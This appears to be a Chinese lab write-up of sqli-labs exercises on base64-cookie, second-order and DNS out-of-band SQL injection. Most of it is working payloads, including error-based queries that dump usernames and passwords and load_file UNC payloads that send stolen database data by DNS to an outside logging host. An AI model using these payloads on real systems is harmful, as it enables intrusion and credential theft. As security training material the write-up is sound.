SQL注入之二次、加解密、DNS等注入

1.sql的加解密:sqli-labs-21

为什么会对sql注入的加解密呢其实这个去抓个包就很好理解了

用admin admin登入进去抓包后得到这样的页面

发现了Cookie: uname=YWRtaW4%3D

然后尝试去解密:得到admin

这个就是其中的注入要求,加密进去然后脚本base64解密然后传进去,才能达到我们想要的效果

然后开始注入(先把源代码写出来然后再去加密然后再传进去):

也可以把 or '1'='1 换成 or' # 格式:

1.判断是否正常回显

admin' and 1=1 #

YWRtaW4nIGFuZCAxPTEgIw==

admin' and 1=2 #

YWRtaW4nIGFuZCAxPTIgIw==

2.报错查询看查数据库的版本和名字

admin' or updatexml(1,concat(0x7e,version(),0x7e),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLHZlcnNpb24oKSwweDdlKSwxKSBvciAnMSc9JzE=

admin' or updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSksMSkgb3IgJzEnPScx

3.查表名

admin' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JykpLDEpIG9yICcxJz0nMQ==

4.查列数据:

admin' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSd1c2VycycpKSwxKSBvciAnMSc9JzE=

5.得到最终数据

admin' or updatexml(1,concat(0x7e,(select group_concat(password) from users)),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHBhc3N3b3JkKSBmcm9tIHVzZXJzKSksMSkgb3IgJzEnPScx

admin' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1) or '1'='1

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSBmcm9tIHVzZXJzKSksMSkgb3IgJzEnPScx

得到最后的数据

2.sql的二次注入:sqli-labs-24

对于sql的二次注入通常使用在有注册,登录,找回密码这种页面上面可以进行二次注入

尝试去注册一个账户,密码用户名都是1

然后去修改密码,这个时候就可以尝试二次注入(二次注入的本质是 "信任了来自数据库的数据")(原理是因为代码前面是之前的密码,但是后面还有你最近修改的密码,我如果使用1'#,就可以实现对于之前相同用户的密码的修改,从而找到注入点)

开始尝试:

1.观察security的内容

2.注册一个用户名字为admin'#的用户,密码为123456

然后看数据库的反应

此时加入了admin'#,密码是123456的数据

3.修改admin'#的密码这个密码不是修改admin'#的数据而是修改admin的数据,原理在开头已经阐释,然后开始操作:

如果对于sql的二次注入通常使用在有注册,登录,找回密码这种页面上面可以进行二次注入,不行的话那就只有尝试盲注了

3.sql的dns注入:sqli-labs-9

sql的dns注入就是对盲注都没有回显的一种处理方式,这个也可以进行脚本跑(sqlmap利用插件)

DNS注入核心原理

核心思想: 利用数据库函数发起一个DNS解析请求,并将我们想窃取的数据作为域名的一部分。通过监控DNS查询日志,我们就能看到被窃取的数据。

攻击流程(以MySQL的 load_file() 函数为例):

  1. 构造Payload: 攻击者构造一个特殊的SQL查询。

  2. 触发查询: 存在漏洞的应用程序执行了这个查询。

  3. DNS解析: 数据库服务器尝试解析一个包含敏感数据的"域名"。

  4. 数据外带: 攻击者通过查看自己控制的DNS服务器的日志,直接看到被查询的"域名",从而获取数据。

然后对于这道题开始尝试

1.尝试了

http://127.0.0.1:8081/Less-9/?id=1

http://127.0.0.1:8081/Less-9/?id=1'

http://127.0.0.1:8081/Less-9/?id=1' and 1=1

http://127.0.0.1:8081/Less-9/?id=1' and 1=2

然后再尝试时间盲注

?id=1' and sleep(5)--+此时反应五秒发现也没有问题但是页面还是显示的是
Welcome Dhakkan
You are in...........

2.此时就是使用dnslog注入了:

对于dnslog的平台可以自行选择:

http://www.dnslog.cn/

https://dig.pm/

http://ceye.io/profile

http://eyes.sh/dns/等等

然后尝试:

我是用的是http://eyes.sh/dns/

1. 获取数据库名

复制代码
?id=1' and load_file(concat('\\\\',(select database()),'.lllxxy.eyes.sh\\abc'))--+
  • select database() 获取当前数据库名

  • 构造UNC路径:\\数据库名.lllxxy.eyes.sh\abc

  • DNS查询会包含数据库名

2. 获取表名

复制代码
?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.lllxxy.eyes.sh\\abc'))--+
  • information_schema.tables获取表名

  • limit 0,1 获取第一个表

  • 可以修改limit参数遍历所有表

3. 获取列名

复制代码
?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.lllxxy.eyes.sh\\abc'))--+
  • information_schema.columns获取列名

  • 指定表名users

  • 获取第一个列名

4. 获取数据

复制代码
?id=1' and load_file(concat('\\\\',(select username from users limit 0,1),'.lllxxy.eyes.sh\\abc'))--+
?id=1' and load_file(concat('\\\\',(select password from users limit 0,1),'.lllxxy.eyes.sh\\abc'))--+
  • 从users表获取具体数据

  • 分别获取username和password字段

意义:

解决盲注不能回显数据---盲注比较繁琐

效率低的问题

相关推荐
pengdott5 小时前
Oracle RAC内存融合技术深度解析:集群性能的幕后引擎
数据库·oracle
csudata6 小时前
绿色便携版PostgreSQL发行版重磅发布
数据库·postgresql
阳光九叶草LXGZXJ6 小时前
达梦数据库-学习-48-DmDrs控制台命令(同步之Manager、CPT模块)
linux·运维·数据库·sql·学习
我科绝伦(Huanhuan Zhou)7 小时前
脚本再升级,兼容Oracle 26ai一键安装
数据库·oracle
野生绿箭侠7 小时前
Ncos 2.3.2 版本集成达梦数据库
数据库
仍然.8 小时前
MYSQL--约束
数据库·mysql
乡野码圣8 小时前
【RK3588 Android12】RCU机制
java·jvm·数据库
亓才孓8 小时前
[数据库]应该注意的细节
数据库·sql
m0_5613596710 小时前
掌握Python魔法方法(Magic Methods)
jvm·数据库·python
xxxmine10 小时前
redis学习
数据库·redis·学习